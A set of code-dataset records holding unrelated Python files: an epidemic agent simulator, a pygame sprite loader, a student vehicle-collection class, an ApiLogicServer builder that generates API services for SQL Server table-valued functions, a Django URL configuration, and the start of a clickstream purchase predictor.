proportionVaccinated = input(\"What percentage of the population is vaccinated? \")\n proportionVaccinated = int(proportionVaccinated)\n proportionVaccinated = float(proportionVaccinated/100)\n\n matrix = createMatrix(rows, columns) #creates the grid\n agentIDList = createAgentID(numberOfAgents) #creates a list of id's for each agent\n agentList = []\n print()\n for x in range(len(agentIDList)): #go through list of ids and create a susceptible agent for each id and add it to list\n agentList.append(SusceptibleAgent())\n agentList[x].setAgentId(agentIDList[x]) #set id of agent to the agent id from list\n agentList[x].setAgentLocation(generateRandomX(rows), generateRandomY(columns)) #set the location of each agent randomly\n susceptibleAgents.append(agentList[x])\n print()\n #go through and add each agent to the matrix\n for x in range(len(agentList)):\n matrix = addAgentsToMatrix(matrix, agentList[x])\n displayGrid(matrix, agentList) #prints the matrix with agents on the matrix\n print()\n #randomly generate a sick agent to be patient zero from the list of agents\n #make them an infected agent and put them in the agent list\n sickAgentIndex = random.randint(0, len(agentList) - 1)\n agentList[sickAgentIndex] = createAgent(agentList[sickAgentIndex], \"infected\")\n print(\"The sick agent is \" + agentList[sickAgentIndex].getAgentId())\n sickAgents.append(agentList[sickAgentIndex])\n for x in range(len(susceptibleAgents)):\n if (x == sickAgentIndex):\n susceptibleAgents.remove(susceptibleAgents[x])\n biggestWave = 0\n timeOfBiggestWave = 0\n\n\n #randomly generate 10% of the total agents and set their vaccination status to true\n numberToVaccinate = int(proportionVaccinated * numberOfAgents)\n for x in range(numberToVaccinate):\n vaccinatedAgentIndex = random.randint(0, len(agentList)-1)\n while(agentList[vaccinatedAgentIndex].getHealth() == \"infected\"):\n vaccinatedAgentIndex = random.randint(0, len(agentList)-1)\n while(agentList[vaccinatedAgentIndex].getVaccinationStatus() == True):\n vaccinatedAgentIndex = random.randint(0, len(agentList)-1)\n agentList[vaccinatedAgentIndex].setVaccinationStatus()\n\n #This will store the (x,y) data collected from the simulation - x will measure time and y will\n #measure the changing data\n survivalDataX = []\n survivalDataY = []\n infectedDataX = []\n infectedDataY = []\n removedDataX = []\n removedDataY = []\n precentDiffData = []\n changeInInfectionX = []\n changeInInfectionY = []\n previousIteration = 0\n for i in range(iterations):\n counter += 1;\n #sleep for 2 seconds so you can see each iteration progress. Lower this to speed up the iterations or increase this to slow down th iterations\n time.sleep(2)\n #This is the loop that would simulate agents moving on the grid\n print()\n #get a direction that each agent will move (each agent moves in a random direction, independent of the other agents.\n for x in range(len(agentList)):\n direction = whichWayToMove()\n #go through the list of agents and set their location to the new direction\n agentList[x] = setNewLocations(direction, agentList[x], rows, columns)\n print()\n print()\n matrix = createMatrix(rows, columns) #reinitialize the grid (a.k.a clear the matrix)\n for x in range(len(agentList)):\n matrix = addAgentsToMatrix(matrix, agentList[x]) #add agents with new positions to the grid\n #go through agent list and check for collisions\n listOfCollisions = locationSame(agentList)\n #if there were any collision, do this\n if(len(listOfCollisions) != 0):\n #go through list of collisions and see if either agent that collided was infected\n for x in range(len(listOfCollisions)):\n #checks if an agent in the collision was infected\n agent = whichAgentisInfected(listOfCollisions[x][0], listOfCollisions[x][1])\n #if no agent infected, continue through collision list\n if (agent == \"none\"): continue\n #if the first agent was sick and second was not (a.ka. susceptible) then make the second agent in the collision infected\n if (agent == \"agent1\" and not isSick(listOfCollisions[x][1])):\n if (listOfCollisions[x][1].getVaccinationStatus() == True): continue\n #go through the list of agents and figure out which agent in the list is infected and make that agent infected\n for y in range(len(agentList)):\n if (listOfCollisions[x][1].getAgentId() == agentList[y].getAgentId()):\n agentList[y] = createAgent(agentList[y], \"infected\")\n #if the second agent was sick and first was not (a.ka. susceptible) then make the first agent in the collision infected\n elif (agent == \"agent2\" and not isSick(listOfCollisions[x][0])):\n #go through the list of agents and figure out which agent in the list is infected and make that agent infected\n if (listOfCollisions[x][0].getVaccinationStatus() == True): continue\n for y in range(len(agentList)):\n if (listOfCollisions[x][0].getAgentId() == agentList[y].getAgentId()):\n agentList[y] = createAgent(agentList[y], \"infected\")\n print()\n tempAgentList = []\n tempAgent = None\n flag = False\n finishedBecauseAllDead = False\n finishedBecauseAllSafe = False\n for x in range(len(agentList)):\n if (len(susceptibleAgents) == 0):\n finishedBecauseAllDead = True\n flag = True\n break\n if (agentList[x].getHealth() == \"infected\" and locationInList(agentList[x].getAgentId(), sickAgents) != None):\n if (timeBeforeDeath == agentList[x].getTimeOfSickness()):\n tempAgent = agentList[x]\n for y in range(len(sickAgents)):\n if (tempAgent.getAgentId() == sickAgents[y].getAgentId()):\n sickAgents.remove(tempAgent)\n break\n tempAgent = createAgent(tempAgent, \"removed\")\n removedAgents.append(tempAgent);\n else:\n agentList[x].increaseTimeOfSickness();\n elif (agentList[x].getHealth() == \"infected\" and locationInList(agentList[x].getAgentId(), sickAgents) == None):\n sickAgents.append(agentList[x])\n tempIndex = x\n for y in range(len(susceptibleAgents)):\n if (agentList[x].getAgentId() == susceptibleAgents[y].getAgentId()):\n susceptibleAgents.remove(susceptibleAgents[y])\n break;\n if (tempAgent != None):\n if (len(tempAgentList) != 0):\n for x in range(len(tempAgentList)):\n if (tempAgent.getAgentId() == tempAgentList[x].getAgentId):\n tempAgentList.remove(tempAgentList[x])\n else:\n for i in range(len(agentList)):\n if (agentList[i].getAgentId() != tempAgent.getAgentId()):\n tempAgentList.append(agentList[i])\n\n tempAgent = None\n if (len(tempAgentList) > 0): agentList = tempAgentList\n newSickAgents = []\n for x in range(len(sickAgents)):\n if (sickAgents[x].getTimeOfSickness() < timeBeforeDeath): newSickAgents.append(sickAgents[x])\n agentList = susceptibleAgents + newSickAgents\n if(len(newSickAgents) > biggestWave):\n biggestWave = len(newSickAgents)\n timeOfBiggestWave = counter\n if (len(newSickAgents) == 0):\n finishedBecauseAllSafe = True\n flag = True\n break\n displayGrid(matrix, agentList) #print new grid\n if (flag): break\n print(\"At the end of Time: \" + str(counter) + \", here are the stats: \")\n print(colored(\"--------------------------------------------------------\", 'red'))\n print(\"The number of Susceptible Agents is : \" + str(len(susceptibleAgents)))\n print(\"The number of Infected Agents is : \" + str(len(newSickAgents)))\n if (len(removedAgents) + len(newSickAgents) + len(susceptibleAgents) != numberOfAgents):\n numberOfRemovedAgents = numberOfAgents - len(susceptibleAgents) - len(newSickAgents)\n print(\"The number of Removed Agents is : \" + str(numberOfAgents - len(susceptibleAgents) - len(newSickAgents)))\n else:\n numberOfRemovedAgents = len(removedAgents)\n print(\"The number of Removed Agents is : \" + str(len(removedAgents)))\n survivalDataX.append(counter)\n survivalDataY.append(len(susceptibleAgents))\n infectedDataX.append(counter)\n infectedDataY.append(len(newSickAgents))\n removedDataX.append(counter)\n removedDataY.append(numberOfRemovedAgents)\n changeInInfectionX.append(counter)\n if (counter == 1): changeInInfectionY.append(len(newSickAgents))\n else:\n if (previousIteration == len(newSickAgents)):\n valueToAppend = len(changeInInfectionY) - 1\n changeInInfectionY.append(changeInInfectionY[valueToAppend])\n else:\n changeInInfectionY.append(len(newSickAgents)/previousIteration)\n\n previousIteration = len(newSickAgents)\n print()\n print()\n if (finishedBecauseAllDead):\n print(colored(\"**************************************************************\", 'red'))\n print(colored(\" SIMULATION TERMINATED - NO MORE HEALTHY AGENTS REMAINING\", 'red'))\n print(colored(\"**************************************************************\", 'red'))\n if (finishedBecauseAllSafe):\n print(colored(\"**************************************************************\", 'red'))\n print(colored(\" SIMULATION TERMINATED - NO MORE SICK AGENTS REMAINING\", 'red'))\n print(colored(\"**************************************************************\", 'red'))\n\n print()\n print(colored(\"SIMULATION COMPLETED\", 'yellow'))\n print(\"--------------------\")\n print()\n print(\"After \" + str(counter) + \" iterations of the simulator produced the following results:\")\n print()\n print(\"Number of Susceptible: \\t\\t\\t\" + str(len(susceptibleAgents)))\n print(\"Number of Infected: \\t\\t\\t\" + str(len(newSickAgents)))\n if (len(removedAgents) + len(newSickAgents) + len(susceptibleAgents) != numberOfAgents):\n removed = (numberOfAgents - len(susceptibleAgents) - len(newSickAgents))\n print(\"Number of Removed : \\t\\t\\t\" + str(numberOfAgents - len(susceptibleAgents) - len(newSickAgents)))\n else:\n removed = len(removedAgents)\n print(\"Number of Removed : \\t\\t\\t\" + str(len(removedAgents)))\n print()\n if (len(susceptibleAgents) == 0): percentRemoved = 1.00\n else: percentRemoved = (removed+(len(newSickAgents)))/numberOfAgents\n percentSurvived = len(susceptibleAgents)/numberOfAgents\n print(format(percentRemoved * 100, ',.0f') + \"% of the population was killed by \" + nameOfDisease)\n print(format(percentSurvived*100, ',.0f') + \"% of the population survived \" + nameOfDisease)\n print(\"At it's peak \" + str(biggestWave) + \" agents were infected by \" + nameOfDisease + \" at time \" + str(timeOfBiggestWave))\n averageRate = 0\n for x in range(len(changeInInfectionY)):\n averageRate += changeInInfectionY[x]\n averageRate = averageRate/len(changeInInfectionY)\n print(\"The Average rate of infection is : \" + str(averageRate))\n print()\n print(colored(\"SIMULATION TERMINATED\", 'yellow'))\n print(\"--------------------\")\n print()\n plt.plot(survivalDataX, survivalDataY)\n plt.xlabel(\"Time(t)\")\n plt.ylabel(\"# Susceptible Agents\")\n plt.title(\"Change in Susceptible Population after introduction of \" + nameOfDisease )\n plt.axis([0, counter, 0, numberOfAgents])\n plt.show()\n plt.plot(infectedDataX, infectedDataY)\n plt.xlabel(\"Time(t)\")\n plt.ylabel(\"# Infected Agents\")\n plt.title(\"Change in Infected Population after introduction of \" + nameOfDisease)\n plt.axis([0, counter, 0, numberOfAgents])\n plt.show()\n plt.plot(removedDataX, removedDataY)\n plt.xlabel(\"Time(t)\")\n plt.ylabel(\"# Removed Agents\")\n plt.title(\"Change in Removed Population after introduction of \" + nameOfDisease)\n plt.axis([0, counter, 0, numberOfAgents])\n plt.show()\n plt.plot(changeInInfectionX, changeInInfectionY)\n plt.xlabel(\"Time(t)\")\n plt.ylabel(\"R0\")\n plt.title(\"Change in infection rate over time for \" + nameOfDisease)\n maxRate = 0;\n for x in range(len(changeInInfectionY)):\n if (changeInInfectionY[x] > maxRate): maxRate = changeInInfectionY[x]\n plt.axis([0, counter, 0, maxRate])\n plt.show()\n\n exit = input(\"Press Any Key to Return to the Main Screen \")\n\n\n\n\n\n#Help section\ndef help():\n selection = \" \"\n while(selection != \"q\"):\n selection = input(\"Welcome to the COMP4206 Epidemic Simulator, developed by Ravi Gupta and Shruti Bahl. In this simulator, you can view the spread of infections in an NxN matrix. When you select the run option (2), you will be allowed to enter in the size of the matrix, the number of agents to display, and how many steps the agents should make. The matrix will display and then an agent will be randomly infected. You will then see the matrix after each iteration so you can track their progress. Press q to return to the menu: \")\n print()\n\n\n#object definitions\nclass agent(object):\n def __init__(self,params=None):\n self.id = params\n self.location = (0, 0)\n self.health = None\n self.timeOfSickness = 0\n self.vaccination = False\n def setAgentLocation(self, x, y):\n locationx = x\n locationy = y\n self.location = (locationx, locationy)\n return self.location\n def setAgentId(self, agentID):\n self.id = agentID\n def getAgentId(self):\n return self.id\n def getLocation(self):\n return self.location\n def getHealth(self):\n return self.health\n def setHealth(self, status):\n self.health = status\n def increaseTimeOfSickness(self):\n self.timeOfSickness += 1\n def getTimeOfSickness(self):\n return self.timeOfSickness\n def setVaccinationStatus(self):\n self.vaccination = True\n def getVaccinationStatus(self):\n return self.vaccination\n\nclass SusceptibleAgent(agent):\n def __init__(self,params=None):\n super().__init__()\n self.health = \"susceptible\"\n\nclass InfectedAgent(agent):\n def __init__(self,params=None):\n super().__init__()\n self.health = \"infected\"\n\nclass RemovedAgent(agent):\n def __init__(self,params=None):\n super().__init__()\n self.health = \"removed\"\n\n\n\n#menu\ndef main():\n selection = 0\n while(selection != 3):\n print(\"Welcome to The COMP 4206 Epidemic Simulator!\")\n print(\"Menu\")\n print(\"(1) -- Help\")\n print(\"(2) -- Run\")\n print(\"(3) -- Quit\")\n print()\n selection = input(\"Choose a menu option: \")\n while (selection == \"q\" or selection == \"Q\"):\n selection = input(\"Invalid entry. Try again: \")\n selection = int(selection)\n if (selection == 1): help()\n if (selection == 2): runSimulation()\n if (selection == 3): print(\"Goodbye!\")\n\nmain()\n","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":28732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"12369339","text":"import os\nfrom pygame import image\n\n_sprites = {}\n\n\ndef canonical(path: str,) -> str:\n return path.replace(\"/\", os.sep).replace(\"\\\\\", os.sep)\n\n\ndef get_image(path: str,):\n global _sprites\n sprite = _sprites.get(path)\n if not sprite:\n sprite = image.load(canonical(path))\n _sprites[path] = sprite\n return sprite\n","sub_path":"system/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426779238","text":"from ua.univer.lesson07.inheritance.vehicle import *\n\n\nclass Vehicles:\n def __init__(self,vehicles =[]):\n self.vehicles = vehicles\n\n def add_vehicle(self, vehicle):\n for vehicle in self.vehicles:\n if isinstance(vehicle, CCar) or isinstance(vehicle, CShip) or isinstance(vehicle, CPlane):\n self.vehicles.append(vehicle)\n return self.vehicles\n\n def get_maxprice(self):\n max = self.vehicles[0][1]\n for max_price in self.vehicles :\n if max_price[1] > max :\n max = max_price[1]\n return max, max_price\n\n def get_minprice(self):\n min = self.vehicles[0][1]\n for min_price in self.vehicles :\n if min_price[1] < min :\n min = min_price[1]\n return min\n\n def get_price_less(self, less_price = 10000, after_year = 2000):\n for item in self.vehicles:\n if item[1] < less_price and item[3] > after_year:\n return item\n\n\n def get_class_objects(self):\n car_list =[]\n plane_list = []\n car_count = 0\n plane_count = 0\n for machine in self.vehicles:\n if isinstance(machine, CCar):\n car_count+=1\n car_list.append(machine)\n if isinstance(machine, CPlane):\n plane_count+=1\n plane_list.append(machine)\n print('the car objects are ', len(car_list))\n print('the plane objects are ', len(plane_list))\n return len(car_list), len(plane_list)\n # print('the plane objects are ')\n # return len(car_list)\n # return car_list\n\n def __repr__(self):\n return f\"{self.vehicles}\"\n\nif __name__ == '__main__':\n # vehicles_list = Vehicles()\n #\n # plane1 = \"12°05'20'\", 6720, 235, 2007, 2100, 59\n # car1 = \"14°08'70'\", 7678, 80, 1995\n # ship1 = \"14°08'70'\", 7678, 80, 1900, 'Cuba', 520\n # plane2 = \"12°05'20'\", 56596, 235, 1958, 2100, 59\n # car2 = \"14°08'70'\", 7378, 80, 1995\n # ship2 = \"14°08'70'\", 7678, 80, 1900, 'Chernomorsk', 520\n #\n # vehicles = [plane1,car1, ship1, plane2, car2, ship2]\n # for each in vehicles:\n # print(each)\n # vehicles_list.add_vehicle(each)\n # print(vehicles_list)\n #\n # print(vehicles_list.get_minprice())\n # print(vehicles_list.get_maxprice())\n # print(vehicles_list.get_price_less())\n\n\n plane11 = CPlane(\"12°05'20'\", 56576, 235, 1958, 2100, 59)\n car11 = CCar(\"14°08'70'\", 7678, 80, 1995)\n ship11 = CShip(\"14°08'70'\", 7678, 80, 1900, 'Cuba', 520)\n plane22 = CPlane(\"12°05'20'\", 56576, 235, 1958, 2100, 59)\n car22 = CCar(\"14°08'70'\", 67678, 90, 1995)\n ship22 = CShip(\"14°08'70'\", 7678, 80, 1900, 'Chernomorsk', 520)\n # Test_Vehicle.test_get_minprice(vehicles.get_minprice())\n\n\n machines_list = Vehicles([])\n machines = [plane11, car11, ship11, plane22, car22, ship22]\n for machine in machines :\n print(machine)\n machines_list.add_vehicle(machine)\n print(machines_list)\n # print('the car objects are ')\n print(machines_list.get_class_objects())\n print(machines_list.get_maxprice())\n\n","sub_path":"univer/lesson07/inheritance/veh.py","file_name":"veh.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566799063","text":"import os\nimport sys\nfrom sqlalchemy.sql import text\nfrom typing import List\nimport sqlalchemy\n\n\"\"\"\n Example\n APILogicServer run --project_name='~/dev/servers/sqlserver-types' --db_url='mssql+pyodbc://sa:posey386!@localhost:1433/SampleDB?driver=ODBC+Driver+17+for+SQL+Server?trusted_connection=no' --extended_builder='*'\n\"\"\"\n\n\ndef log(msg: any) -> None:\n print(msg, file=sys.stderr)\n\n\nlog(\"Extended builder 1.2\")\n\n\nclass DotDict(dict):\n \"\"\" dot.notation access to dictionary attributes \"\"\"\n # thanks: https://stackoverflow.com/questions/2352181/how-to-use-a-dot-to-access-members-of-dictionary/28463329\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n\n\nclass TvfBuilder(object):\n\n def __init__(self, db_url, project_directory):\n\n self.db_url = db_url\n self.project_directory = project_directory\n\n self.number_of_services = 0\n\n self.tvf_services = []\n ''' TVFs have cols, SCFs do not '''\n\n self.tvf_contents = \"\"\"# coding: utf-8\nfrom sqlalchemy import Boolean, Column, DECIMAL, DateTime, Float, ForeignKey, Integer, LargeBinary, String, Table, Text, UniqueConstraint, text\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.sql.sqltypes import NullType\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom flask_sqlalchemy import SQLAlchemy\nfrom safrs import SAFRSAPI, jsonapi_rpc\nfrom safrs import JABase, DB\n\n########################################################################################################################\n# Classes describing database for SqlAlchemy ORM, initially created by schema introspection.\n#\nfrom safrs import SAFRSBase\n\nimport safrs\ndb = safrs.DB\n\nBase = db.Model\nmetadata = Base.metadata\n\nNullType = db.String # datatype fixup\nTIMESTAMP= db.TIMESTAMP\n\nfrom sqlalchemy.dialects.mysql import *\n\n########################################################################################################################\n\n\"\"\"\n\n def build_tvf_class(self, cols: List[DotDict]):\n\n self.tvf_services.append(cols[0].Function)\n\n self.tvf_contents += f't_{cols[0].Function} = Table( # define result for {cols[0].Function}\\n'\n self.tvf_contents += f'\\t\"{cols[0].Function}\", metadata,\\n'\n col_count = 0\n for each_col in cols:\n self.tvf_contents += f'\\tColumn(\"{each_col.Column}\", '\n if each_col.Data_Type == \"int\":\n self.tvf_contents += f'Integer)'\n elif each_col.Data_Type == \"nvarchar\":\n self.tvf_contents += f'String({each_col.Char_Max_Length}))'\n else: # TODO - support additional data types\n self.tvf_contents += f'String(8000))'\n col_count += 1\n if col_count < len(cols):\n self.tvf_contents += \",\\n\"\n else:\n self.tvf_contents += \")\\n\"\n self.tvf_contents += f'\\n\\n'\n\n def get_os_url(self, url: str) -> str:\n \"\"\" idiotic fix for windows (\\ --> \\\\\\\\) \"\"\"\n return url.replace('\\\\', '\\\\\\\\')\n\n def build_tvf_service(self, args: List[DotDict]):\n if args[0].ObjectName not in self.tvf_services:\n log(f'.. Skipping Scalar Value Function: {args[0].ObjectName}')\n else:\n self.tvf_contents += f'class {args[0].ObjectName}(JABase):\\n'\n self.tvf_contents += f'\\t\"\"\"\\n\\t\\tdescription: define service for {args[0].ObjectName}\\n\\t\"\"\"\\n\\n'\n self.tvf_contents += f'\\t_s_type = \"{args[0].ObjectName}\"\\n\\n'\n self.tvf_contents += f\"\\t@staticmethod\\n\"\n self.tvf_contents += f\"\\t@jsonapi_rpc(http_methods=['POST'], valid_jsonapi=False)\\n\"\n\n # def udfEmployeeInLocationWithName(location, Name):\n self.tvf_contents += f\"\\tdef {args[0].ObjectName}(\"\n arg_number = 0\n has_args = args[0].ParameterName is not None\n if has_args:\n for each_arg in args:\n self.tvf_contents += each_arg.ParameterName[1:]\n arg_number += 1\n if arg_number < len(args):\n self.tvf_contents += \", \"\n self.tvf_contents += \"):\\n\"\n self.tvf_contents += f'\\t\\t\"\"\"\\n'\n self.tvf_contents += f\"\\t\\tdescription: expose TVF - {args[0].ObjectName}\\n\"\n self.tvf_contents += f\"\\t\\targs:\\n\"\n if has_args:\n for each_arg in args:\n self.tvf_contents += f'\\t\\t\\t{each_arg.ParameterName[1:]} : value\\n'\n self.tvf_contents += f'\\t\\t\"\"\"\\n'\n\n # sql_query = db.text(\"SELECT * FROM udfEmployeeInLocationWithName(:location, :Name)\")\n self.tvf_contents += f'\\t\\tsql_query = db.text(\"SELECT * FROM {args[0].ObjectName}(' # :arg)\")\\n'\n arg_number = 0\n if has_args:\n for each_arg in args:\n self.tvf_contents += \":\" + each_arg.ParameterName[1:]\n arg_number += 1\n if arg_number < len(args):\n self.tvf_contents += \", \"\n self.tvf_contents += ')\")\\n'\n\n # query_result = db.engine.execute(sql_query, location=location, Name=Name)\n self.tvf_contents += f'\\t\\tquery_result = db.engine.execute(sql_query, ' # arg=arg)\\n'\n arg_number = 0\n if has_args:\n for each_arg in args:\n self.tvf_contents += each_arg.ParameterName[1:] + \"=\" + each_arg.ParameterName[1:]\n arg_number += 1\n if arg_number < len(args):\n self.tvf_contents += \", \"\n self.tvf_contents += \")\\n\"\n self.tvf_contents += f'\\t\\tresult = query_result.fetchall()\\n'\n self.tvf_contents += '\\t\\treturn {\"result\" : list(result)}\\n'\n self.tvf_contents += f'\\n\\n'\n\n def write_tvf_file(self):\n \"\"\" write tvf_contents -> api/tvf.py \"\"\"\n file_name = self.get_os_url(self.project_directory + '/api/tvf.py')\n tvf_file = open(file_name, 'w')\n tvf_file.write(self.tvf_contents)\n tvf_file.close()\n\n def append_expose_services_file(self):\n \"\"\" append import to -> append_expose_services_file \"\"\"\n import_statement = f'\\n\\n from api import tvf\\n'\n import_statement += f' tvf.expose_tvfs(api)\\n'\n file_name = self.get_os_url(self.project_directory + '/api/customize_api.py')\n expose_services_file = open(file_name, 'a')\n expose_services_file.write(import_statement)\n expose_services_file.close()\n\n def run(self):\n \"\"\" call by ApiLogicServer CLI -- scan db_url schema for TVFs, create api/tvf.py\n for each TVF:\n class t_ -- the model\n class -- the service\n\n \"\"\"\n print(f'extended_builder.extended_builder(\"{self.db_url}\", \"{self.project_directory}\"')\n\n cols_sql = \"\" \\\n \"SELECT TABLE_CATALOG AS [Database], TABLE_SCHEMA AS [Schema], TABLE_NAME AS [Function], \" \\\n \"COLUMN_NAME AS [Column], DATA_TYPE AS [Data_Type], CHARACTER_MAXIMUM_LENGTH AS [Char_Max_Length] \" \\\n \"FROM INFORMATION_SCHEMA.ROUTINE_COLUMNS \" \\\n \"WHERE TABLE_NAME IN \" \\\n \"(SELECT ROUTINE_NAME FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_TYPE = 'FUNCTION' AND DATA_TYPE = 'TABLE') \" \\\n \"ORDER BY TABLE_NAME, COLUMN_NAME;\"\n engine = sqlalchemy.create_engine(self.db_url, echo=False) # sqlalchemy sqls...\n cols = []\n current_table_name = \"\"\n with engine.connect() as connection:\n result = connection.execute(text(cols_sql))\n for row_dict in result:\n row = DotDict(row_dict)\n log(f'col row: {row}, database: {row.Database}')\n function_name = row.Function\n if function_name != current_table_name:\n if len(cols) > 0:\n self.number_of_services += 1\n self.build_tvf_class(cols)\n current_table_name = function_name\n cols = []\n cols.append(row)\n\n # connection.close()\n engine.dispose() # fixed some no-result errors\n\n if len(cols) > 0:\n self.number_of_services += 1\n self.build_tvf_class(cols)\n\n args_sql = \"SELECT \" \\\n \"SCHEMA_NAME(SCHEMA_ID) AS [Schema]\" \\\n \",SO.name AS [ObjectName]\" \\\n \",SO.Type_Desc AS [ObjectType (UDF/SP)]\" \\\n \",P.parameter_id AS [ParameterID]\" \\\n \",P.name AS [ParameterName]\" \\\n \",TYPE_NAME(P.user_type_id) AS [ParameterDataType]\" \\\n \",P.max_length AS [ParameterMaxBytes]\" \\\n \",P.is_output AS [IsOutPutParameter]\" \\\n \" FROM sys.objects AS SO\" \\\n \" LEFT OUTER JOIN sys.parameters AS P ON SO.OBJECT_ID = P.OBJECT_ID\" \\\n \" WHERE SO.Type_Desc = 'SQL_INLINE_TABLE_VALUED_FUNCTION'\" \\\n \" OR SO.Type_Desc = 'SQL_TABLE_VALUED_FUNCTION'\" \\\n \" ORDER BY [Schema], SO.name, P.parameter_id\"\n args = []\n current_object_name = \"\"\n\n with engine.connect() as connection:\n result = connection.execute(text(args_sql))\n for row_dict in result:\n row = DotDict(row_dict)\n log(f'arg row: {row}, database: {row.Database}')\n object_name = row.ObjectName\n if object_name != current_object_name:\n if len(args) > 0:\n self.build_tvf_service(args)\n current_object_name = object_name\n args = []\n args.append(row)\n # connection.close()\n if len(args) > 0:\n self.build_tvf_service(args)\n\n self.tvf_contents += f'def expose_tvfs(api):\\n'\n for each_service in self.tvf_services:\n self.tvf_contents += f'\\tapi.expose_object({each_service})\\n'\n self.tvf_contents += f'\\n# {self.number_of_services} services created.\\n'\n\n self.write_tvf_file()\n\n self.append_expose_services_file()\n\n\ndef extended_builder(db_url, project_directory):\n \"\"\" called by ApiLogicServer CLI -- scan db_url schema for TVFs, create api/tvf.py\n for each TVF:\n class t_ -- the model\n class -- the service\n args\n db_url - use this to open the target database, e.g. for meta data\n project_directory - the created project... create / alter files here\n \"\"\"\n log(f'extended_builder.extended_builder(\"{db_url}\", \"{project_directory}\"')\n tvf_builder = TvfBuilder(db_url, project_directory)\n tvf_builder.run()\n","sub_path":"api_logic_server_cli/extended_builder.py","file_name":"extended_builder.py","file_ext":"py","file_size_in_byte":10916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55996611","text":"\"\"\"vemdr_blade URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.conf.urls import url\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.home, name=\"home\"),\n path('masterfile', views.masterfile, name=\"masterfile\"),\n\n path('admin_invite', views.admin_invite, name=\"admin_invite\"), \n path('admin_confirmation', views.admin_confirmation, name=\"admin_confirmation\"), \n\n path('contact_acknowledgement', views.contact_acknowledgement, name=\"contact_acknowledgement\"),\n path('story_acknowledgement', views.story_acknowledgement, name=\"story_acknowledgement\"),\n\n path('mailing_list_signup', views.mailing_list_signup, name=\"mailing_list_signup\"),\n path('sample_session_signup', views.sample_session_signup, name=\"sample_session_signup\"),\n path('bibeats_signup', views.bibeats_signup, name=\"bibeats_signup\"),\n path('webinar_signup', views.webinar_signup, name=\"webinar_signup\"),\n path('ebook_signup', views.ebook_signup, name=\"ebook_signup\"), \n\n path('therapist_listing', views.therapist_listing, name=\"therapist_listing\"),\n path('therapist_delisting', views.therapist_delisting, name=\"therapist_delisting\"), \n\n path('welcome_regular', views.welcome_regular, name=\"welcome_regular\"),\n path('welcome_coaching', views.welcome_coaching, name=\"welcome_coaching\"),\n path('welcome_gift', views.welcome_gift, name=\"welcome_gift\"),\n path('welcome_gift_sender', views.welcome_gift_sender, name=\"welcome_gift_sender\"),\n path('welcome_access_code', views.welcome_access_code, name=\"welcome_access_code\"),\n path('welcome_first_responder', views.welcome_first_responder, name=\"welcome_first_responder\"),\n\n path('coaching_confirmation', views.coaching_confirmation, name=\"coaching_confirmation\"),\n path('coaching_reminder', views.coaching_reminder, name=\"coaching_reminder\"),\n path('coaching_noshow', views.coaching_noshow, name=\"coaching_noshow\"), \n \n path('create_profile', views.create_profile, name=\"create_profile\"),\n path('password_reset', views.password_reset, name=\"password_reset\"),\n path('update_profile', views.update_profile, name=\"update_profile\"),\n path('change_plan', views.change_plan, name=\"change_plan\"),\n path('account_lock', views.account_lock, name=\"account_lock\"),\n\n path('trial_end', views.trial_end, name=\"trial_end\"),\n path('gift_end', views.gift_end, name=\"gift_end\"),\n path('renewal_upcoming', views.renewal_upcoming, name=\"renewal_upcoming\"),\n path('renewal_confirmation', views.renewal_confirmation, name=\"renewal_confirmation\"),\n\n path('cancellation', views.cancellation, name=\"cancellation\"),\n]\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"49120781","text":"#\n# Copyright (c) 2008-2021, Hazelcast, Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n########################################################################\n#\n# Gaussian prediction mechanism.\n#\n# ----------------------------------------------------------------------\n# Input:\n# CSV data with a control command.\n# If CSV begins \"data,\" the next fields are the clickstream key, two timestamps, \n# then 23 true/false values (0==false, 1==true) for clickstream actions.\n# Eg. \"data,neil,123,456,1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\"\n# If the CSV begins with anything else, it is ignored\n# ----------------------------------------------------------------------\n# Output:\n# CSV data with a control command\n# For input command \"data,\" output is \"data,\" + clickstream key and timestamps,\n# the model version, and finally buy or not-buy prediction (0==not-buy, 1==buy). \n# So for above input the output \"neil,123,456,somethig,1\" for a buy prediction\n# ------------s----------------------------------------------------------\n########################################################################\nimport numpy as numpy\nimport pandas as pandas\nfrom sklearn.model_selection import train_test_split\nimport sklearn.metrics\nfrom sklearn.naive_bayes import GaussianNB\n\n# Replaced by Maven\nversion = \"@maven.build.timestamp@\"\ncol = ['basket_icon_click', 'basket_add_list',\n 'basket_add_detail', 'sort_by', 'image_picker', 